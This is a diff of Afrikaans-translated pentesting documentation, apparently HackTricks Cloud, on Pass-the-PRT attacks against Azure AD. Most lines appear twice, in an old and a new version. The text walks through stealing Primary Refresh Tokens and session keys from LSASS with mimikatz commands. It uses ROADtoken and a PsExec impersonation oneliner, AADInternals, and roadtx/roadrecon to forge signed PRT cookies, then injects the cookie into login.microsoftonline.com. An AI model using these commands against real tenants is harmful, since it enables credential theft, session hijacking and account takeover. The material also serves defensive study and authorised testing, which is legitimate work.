Die **LSASS** proses sal die **KDF konteks** na die TPM stuur, en die TPM sal die **sessiesleutel** (versamel toe die toestel in AzureAD geregistreer is en in die TPM gestoor is) en die vorige konteks gebruik om 'n **sleutel** te **deriveer**, en hierdie **afgeleide sleutel** word gebruik om die **PRT koekie (JWT)** te **onderteken**.
|
||||
|
||||
Die **KDF konteks is** 'n nonce van AzureAD en die PRT wat 'n **JWT** meng met 'n **konteks** (willekeurige bytes).
|
||||
Die **KDF konteks is** 'n nonce van AzureAD en die PRT wat 'n **JWT** gemeng met 'n **konteks** (willekeurige bytes) skep.
|
||||
|
||||
Daarom, selfs al kan die PRT nie onttrek word nie omdat dit binne die TPM geleë is, is dit moontlik om LSASS te misbruik om **afgeleide sleutels van nuwe kontekste aan te vra en die gegenereerde sleutels te gebruik om Koekies te onderteken**.
|
||||
|
||||
@@ -51,13 +51,13 @@ Daarom, selfs al kan die PRT nie onttrek word nie omdat dit binne die TPM geleë
|
||||
As 'n **regte gebruiker** is dit moontlik om **PRT gebruik aan te vra** deur LSASS vir SSO-data te vra.\
|
||||
Dit kan gedoen word soos **natuurlike toepassings** wat tokens van **Web Account Manager** (token broker) aan vra. WAM stuur die versoek na **LSASS**, wat vir tokens vra met 'n ondertekende PRT-assertie. Of dit kan gedoen word met **blaaier-gebaseerde (web) vloei** waar 'n **PRT koekie** as **kop** gebruik word om versoeke na Azure AS aanmeldbladsye te verifieer.
|
||||
|
||||
As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van crypto APIs.
|
||||
As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van kripto API's.
|
||||
|
||||
## Pass-the-PRT Aanval Voorbeelde
|
||||
|
||||
### Aanval - ROADtoken
|
||||
|
||||
Vir meer inligting oor hierdie manier [**kyk hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** van die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissingsleutel** te **verkry**.
|
||||
Vir meer inligting oor hierdie manier [**kyk hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** vanuit die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissings-token** te **verkry**.
|
||||
|
||||
Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\
|
||||
Jy kan dit kry met:
|
||||
@@ -80,11 +80,11 @@ Of deur [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```powershell
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te verkry (voer die hulpmiddel uit vanaf 'n proses van die gebruiker om aan te val):
|
||||
Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te kry (hardloop in die hulpmiddel vanaf 'n proses van die gebruiker om aan te val):
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
As oneliner:
|
||||
As 'n eenlyn:
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
@@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
|
||||
### Aanval - Gebruik AADInternals en 'n gelekte PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **kry die gebruiker se PRT-token** van die Azure AD-verbonden of Hibrid-verbonden rekenaar. Gebruik `BrowserCore.exe` om die PRT-token te kry.
|
||||
`Get-AADIntUserPRTToken` **kry die gebruiker se PRT-token** van die Azure AD-verbonden of Hybride verbonden rekenaar. Gebruik `BrowserCore.exe` om die PRT-token te kry.
|
||||
```powershell
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
@@ -136,36 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), verwyder alle koekies vir login.microsoftonline.com en voer 'n nuwe koekie in.
|
||||
Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), maak alle koekies vir login.microsoftonline.com skoon en voer 'n nuwe koekie in.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
Gaan dan na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> Die res moet die verstekinstellings wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
|
||||
> Die res behoort die verstekinstellings te wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet jy die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
|
||||
|
||||
### Attack - Mimikatz
|
||||
### Aanval - Mimikatz
|
||||
|
||||
#### Steps
|
||||
#### Stappe
|
||||
|
||||
1. Die **PRT (Primêre Vernuwings Teken) word uit LSASS** (Plaaslike Sekuriteitsowerheid Subsystemdiens) onttrek en gestoor vir latere gebruik.
|
||||
2. Die **Sessie Sleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-enkripteer word, vereis dit ontsleuteling met 'n DPAPI meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) en vir 'n begrip van die toepassing daarvan, verwys na [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
1. Die **PRT (Primêre Verfrisings Teken) word uit LSASS** (Plaaslike Sekuriteitsowerheid Substelseldiens) onttrek en gestoor vir latere gebruik.
|
||||
2. Die **Sessie Sleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-enkripteer word, vereis dit ontsleuteling met 'n DPAPI meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) en vir 'n begrip van die toepassing daarvan, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md).
|
||||
3. Na ontsleuteling van die Sessie Sleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te teken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat as die PRT binne die TPM is en nie binne `lsass` nie, **sal mimikatz nie in staat wees om dit te onttrek nie**.\
|
||||
> Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te kry en dit te gebruik om 'n **koekie te teken (kyk opsie 3).**
|
||||
> Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te kry en dit te gebruik om 'n **koekie te teken (kyk na opsie 3).**
|
||||
|
||||
You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
Jy kan 'n **in-diepte verduideliking van die uitgevoerde proses** om hierdie besonderhede te onttrek hier vind: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> Dit sal nie presies werk na die Augustus 2021 regstellings om ander gebruikers se PRT tokens te verkry nie, aangesien slegs die gebruiker sy PRT kan verkry (n plaaslike admin kan nie ander gebruikers se PRTs toegang nie), maar kan syne verkry.
|
||||
> Dit sal nie presies werk na die Augustus 2021 regstellings om ander gebruikers se PRT tokens te verkry nie, aangesien slegs die gebruiker sy PRT kan verkry (n plaaslike admin kan nie ander gebruikers se PRTs toegang nie), maar kan syne toegang.
|
||||
|
||||
You can use **mimikatz** to extract the PRT:
|
||||
Jy kan **mimikatz** gebruik om die PRT te onttrek:
|
||||
```powershell
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Kopieer** die deel gemerk **Prt** en stoor dit.\
|
||||
Onttrek ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel.
|
||||
Onthou ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As jy nie enige PRT-data sien nie, kan dit wees dat jy **nie enige PRT's het nie** omdat jou toestel nie Azure AD-verbonden is nie of dit kan wees dat jy **'n ou weergawe** van Windows 10 gebruik.
|
||||
|
||||
Om die sessiesleutel te **ontsleutel** moet jy jou regte **verhoog** na **SYSTEM** om onder die rekenaar konteks te werk om die **DPAPI meester sleutel te gebruik om dit te ontsleutel**. Jy kan die volgende opdragte gebruik om dit te doen:
|
||||
Om die sessiesleutel te **ontsleutel** moet jy jou regte **verhoog** na **SYSTEM** om onder die rekenaar konteks te loop sodat jy die **DPAPI meester sleutel kan gebruik om dit te ontsleutel**. Jy kan die volgende opdragte gebruik om dit te doen:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
@@ -196,7 +196,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
|
||||
#### Opsie 1 - Volledige Mimikatz
|
||||
|
||||
- Nou wil jy beide die Context waarde kopieer:
|
||||
- Nou wil jy beide die Konteks waarde kopieer:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -220,15 +220,15 @@ HttpOnly: Set to True (checked)
|
||||
- Gaan dan na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> Die res behoort die standaardinstellings te wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
|
||||
> Die res moet die standaardinstellings wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
|
||||
|
||||
#### Opsie 2 - roadrecon met PRT
|
||||
|
||||
- Verleng eers die PRT, wat dit in `roadtx.prt` sal stoor:
|
||||
- Vernuw die PRT eers, wat dit in `roadtx.prt` sal stoor:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Nou kan ons **tokens versoek** met die interaktiewe blaaiertjie met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons die toegangstoken sluit 'n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het.
|
||||
- Nou kan ons **tokens versoek** met die interaktiewe blaaskas met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons die toegangstoken sluit 'n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
|
||||
|
||||
#### Opsie 3 - roadrecon met afgeleide sleutels
|
||||
|
||||
Met die konteks en die afgeleide sleutel wat deur mimikatz gestort is, is dit moontlik om roadrecon te gebruik om 'n nuwe ondertekende koekie te genereer met:
|
||||
Met die konteks en die afgeleide sleutel wat deur mimikatz gestort is, is dit moontlik om roadrecon te gebruik om 'n nuwe geskrewe koekie te genereer met:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
|
||||
@@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Om die toetse te begin, moet jy toegang hê met 'n gebruiker met **Leser toestemmings oor die subskripsie** en **Globale Leser rol in AzureAD**. As jy selfs in daardie geval **nie in staat is om toegang te verkry tot die inhoud van die Stoor rekeninge** nie, kan jy dit regstel met die **rol Stoor Rekening Bydraer**.
|
||||
Om die toetse te begin, moet jy toegang hê met 'n gebruiker met **Leser toestemmings oor die intekening** en **Globale Leser rol in AzureAD**. As jy selfs in daardie geval **nie in staat is om die inhoud van die Stoor rekeninge te bekom nie**, kan jy dit regstel met die **rol Stoor Rekening Bydraer**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user